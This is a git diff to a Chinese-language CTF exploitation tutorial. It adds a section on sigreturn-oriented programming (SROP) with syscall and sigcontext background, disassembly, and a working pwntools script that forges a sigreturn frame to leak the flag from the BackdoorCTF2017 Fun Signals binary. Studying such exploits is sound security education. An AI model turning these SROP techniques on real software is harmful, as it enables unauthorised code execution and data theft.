diff --git a/doc/5.2_pin.md b/doc/5.2_pin.md index d36d44d..e1104ed 100644 --- a/doc/5.2_pin.md +++ b/doc/5.2_pin.md @@ -340,20 +340,20 @@ Pintool 的入口为 `main` 函数,通常需要完成下面的功能: #include #include void main() { - char pwd[] = "abc123"; - char str[128]; - int flag = 1; - scanf("%s", str); - for (int i=0; i<=strlen(pwd); i++) { - if (pwd[i]!=str[i] || str[i]=='\0'&&pwd[i]!='\0' || str[i]!='\0'&&pwd[i]=='\0') { - flag = 0; - } - } - if (flag==0) { - printf("Bad!\n"); - } else { - printf("Good!\n"); - } + char pwd[] = "abc123"; + char str[128]; + int flag = 1; + scanf("%s", str); + for (int i=0; i<=strlen(pwd); i++) { + if (pwd[i]!=str[i] || str[i]=='\0'&&pwd[i]!='\0' || str[i]!='\0'&&pwd[i]=='\0') { + flag = 0; + } + } + if (flag==0) { + printf("Bad!\n"); + } else { + printf("Good!\n"); + } } ``` 这段代码要求用户输入密码,然后逐字符进行判断。 diff --git a/doc/6.2_pwn_njctf2017_pingme.md b/doc/6.2_pwn_njctf2017_pingme.md index 2f7538c..d697bb4 100644 --- a/doc/6.2_pwn_njctf2017_pingme.md +++ b/doc/6.2_pwn_njctf2017_pingme.md @@ -17,7 +17,7 @@ No RELRO No canary found NX enabled No PIE No RPATH No RU ``` 关闭 ASLR,然后把程序运行起来: ``` -$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme +$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme & ``` diff --git a/doc/6.4_pwn_njctf2017_233.md b/doc/6.4_pwn_njctf2017_233.md index e695a0b..7176fd4 100644 --- a/doc/6.4_pwn_njctf2017_233.md +++ b/doc/6.4_pwn_njctf2017_233.md @@ -2,6 +2,10 @@ - [题目复现](#题目复现) - [SROP 原理及题目解析](#srop-原理及题目解析) + - [Linux 系统调用](#Linux 系统调用) + - [signal 机制](#signal-机制) + - [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals) + - [njctf2017 233](#233) - [Exploit](#exploit) - [参考资料](#参考资料) @@ -17,11 +21,201 @@ Full RELRO No canary found NX enabled PIE enabled No RPATH No RU ``` 把程序运行起来: ``` -$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 +$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 & ``` ## SROP 原理及题目解析 +#### Linux 系统调用 +在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在 +`/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`。 + +一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0,后者用于从 Ring0 返回 Ring3,它没有特权级别检查,也没有压栈的操作,所以执行速度更快。 + +#### signal 机制 + +![](../pic/6.4_signal.png) + +sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext,所以这里还是给出旧定义,仅当用户空间依然依赖它时才会使用它们: +``` +# ifdef __i386__ +struct sigcontext { + __u16 gs, __gsh; + __u16 fs, __fsh; + __u16 es, __esh; + __u16 ds, __dsh; + __u32 edi; + __u32 esi; + __u32 ebp; + __u32 esp; + __u32 ebx; + __u32 edx; + __u32 ecx; + __u32 eax; + __u32 trapno; + __u32 err; + __u32 eip; + __u16 cs, __csh; + __u32 eflags; + __u32 esp_at_signal; + __u16 ss, __ssh; + struct _fpstate *fpstate; + __u32 oldmask; + __u32 cr2; +}; +# else /* __x86_64__: */ +struct sigcontext { + __u64 r8; + __u64 r9; + __u64 r10; + __u64 r11; + __u64 r12; + __u64 r13; + __u64 r14; + __u64 r15; + __u64 rdi; + __u64 rsi; + __u64 rbp; + __u64 rbx; + __u64 rdx; + __u64 rax; + __u64 rcx; + __u64 rsp; + __u64 rip; + __u64 eflags; /* RFLAGS */ + __u16 cs; + __u16 gs; + __u16 fs; + union { + __u16 ss; /* If UC_SIGCONTEXT_SS */ + __u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */ + }; + __u64 err; + __u64 trapno; + __u64 oldmask; + __u64 cr2; + struct _fpstate *fpstate; /* Zero when no FPU context */ +# ifdef __ILP32__ + __u32 __fpstate_pad; +# endif + __u64 reserved1[8]; +}; +``` + +在你使用 `ldd` 命令时,通常也会显示 vDSO,如下: +``` +$ ldd /usr/bin/ls + linux-vdso.so.1 (0x00007ffff7ffa000) + libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000) + libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000) + /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000) +``` +32 位程序则会显示 `linux-gate.so.1`,都是一个意思。 + +#### BackdoorCTF2017 Fun Signals +我们先来看一个简单的例子,一个 64 位静态链接的 srop,可以说是什么都没开。。。 +``` +$ checksec -f funsignals_player_bin +RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE +No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin +``` +``` +gdb-peda$ disassemble _start +Dump of assembler code for function _start: + 0x0000000010000000 <+0>: xor eax,eax + 0x0000000010000002 <+2>: xor edi,edi + 0x0000000010000004 <+4>: xor edx,edx + 0x0000000010000006 <+6>: mov dh,0x4 + 0x0000000010000008 <+8>: mov rsi,rsp + 0x000000001000000b <+11>: syscall + 0x000000001000000d <+13>: xor edi,edi + 0x000000001000000f <+15>: push 0xf + 0x0000000010000011 <+17>: pop rax + 0x0000000010000012 <+18>: syscall + 0x0000000010000014 <+20>: int3 +End of assembler dump. +gdb-peda$ disassemble syscall +Dump of assembler code for function syscall: + 0x0000000010000015 <+0>: syscall + 0x0000000010000017 <+2>: xor rdi,rdi + 0x000000001000001a <+5>: mov rax,0x3c + 0x0000000010000021 <+12>: syscall +End of assembler dump. +gdb-peda$ x/s flag +0x10000023 : "fake_flag_here_as_original_is_at_server" +``` +而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。 + +首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。 + +那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下: +```python +from pwn import * + +elf = ELF('./funsignals_player_bin') +io = process('./funsignals_player_bin') +# io = remote('hack.bckdr.in', 9034) + +context.clear() +context.arch = "amd64" + +# Creating a custom frame +frame = SigreturnFrame() +frame.rax = constants.SYS_write +frame.rdi = constants.STDOUT_FILENO +frame.rsi = elf.symbols['flag'] +frame.rdx = 50 +frame.rip = elf.symbols['syscall'] + +io.send(str(frame)) +io.interactive() +``` +``` +$ python2 exp_funsignals.py +[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin' + Arch: amd64-64-little + RELRO: No RELRO + Stack: No canary found + NX: NX disabled + PIE: No PIE (0x10000000) + RWX: Has RWX segments +[+] Opening connection to 127.0.0.1 on port 10001: Done +[*] Switching to interactive mode +fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive +``` +如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。 + +#### njctf2017 233 +这是一个 32 位的程序。 +``` +gdb-peda$ disassemble main +Dump of assembler code for function main: + 0x0000063b <+0>: push ebp + 0x0000063c <+1>: mov ebp,esp + 0x0000063e <+3>: push ebx + 0x0000063f <+4>: and esp,0xfffffff0 + 0x00000642 <+7>: sub esp,0x20 + 0x00000645 <+10>: call 0x510 <__x86.get_pc_thunk.bx> + 0x0000064a <+15>: add ebx,0x197e + 0x00000650 <+21>: mov DWORD PTR [esp+0x8],0x400 + 0x00000658 <+29>: lea eax,[esp+0x16] + 0x0000065c <+33>: mov DWORD PTR [esp+0x4],eax + 0x00000660 <+37>: mov DWORD PTR [esp],0x0 + 0x00000667 <+44>: call 0x480 + 0x0000066c <+49>: lea eax,[esp+0x16] + 0x00000670 <+53>: mov DWORD PTR [esp],eax + 0x00000673 <+56>: call 0x4c0 + 0x00000678 <+61>: mov ebx,DWORD PTR [ebp-0x4] + 0x0000067b <+64>: leave + 0x0000067c <+65>: ret +End of assembler dump. +``` +这个程序看起来很简单,就是使用 read 函数读取 `0x400` 个字节到 `[esp+0x16]` 的地方,然后将其传给 atoi。很明显的栈溢出: +``` +gdb-peda$ pattern_offset 0x41284141 +1093157185 found at offset: 22 +``` + ## Exploit 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中: @@ -31,3 +225,4 @@ $ socat tcp4-listen:10001,reuseaddr,fork exec:./233 - [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf) - [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf) - [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori) +- [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf) diff --git a/pic/6.4_signal.png b/pic/6.4_signal.png new file mode 100644 index 0000000..77c2c97 Binary files /dev/null and b/pic/6.4_signal.png differ diff --git a/src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py b/src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py new file mode 100644 index 0000000..d0c817c --- /dev/null +++ b/src/writeup/6.4_pwn_njctf2017_233/exp_funsignals.py @@ -0,0 +1,19 @@ +from pwn import * + +elf = ELF('./funsignals_player_bin') +io = process('./funsignals_player_bin') +# io = remote('hack.bckdr.in', 9034) + +context.clear() +context.arch = "amd64" + +# Creating a custom frame +frame = SigreturnFrame() +frame.rax = constants.SYS_write +frame.rdi = constants.STDOUT_FILENO +frame.rsi = elf.symbols['flag'] +frame.rdx = 50 +frame.rip = elf.symbols['syscall'] + +io.send(str(frame)) +io.interactive() \ No newline at end of file diff --git a/src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin b/src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin new file mode 100755 index 0000000..70c09c3 Binary files /dev/null and b/src/writeup/6.4_pwn_njctf2017_233/funsignals_player_bin differ diff --git a/src/writeup/6.4_pwn_njctf2017_233/run.sh b/src/writeup/6.4_pwn_njctf2017_233/run.sh index a0396e2..1cf8b02 100755 --- a/src/writeup/6.4_pwn_njctf2017_233/run.sh +++ b/src/writeup/6.4_pwn_njctf2017_233/run.sh @@ -1 +1 @@ -socat tcp4-listen:10001,reuseaddr,fork exec:./233 +socat tcp4-listen:10001,reuseaddr,fork exec:./233 &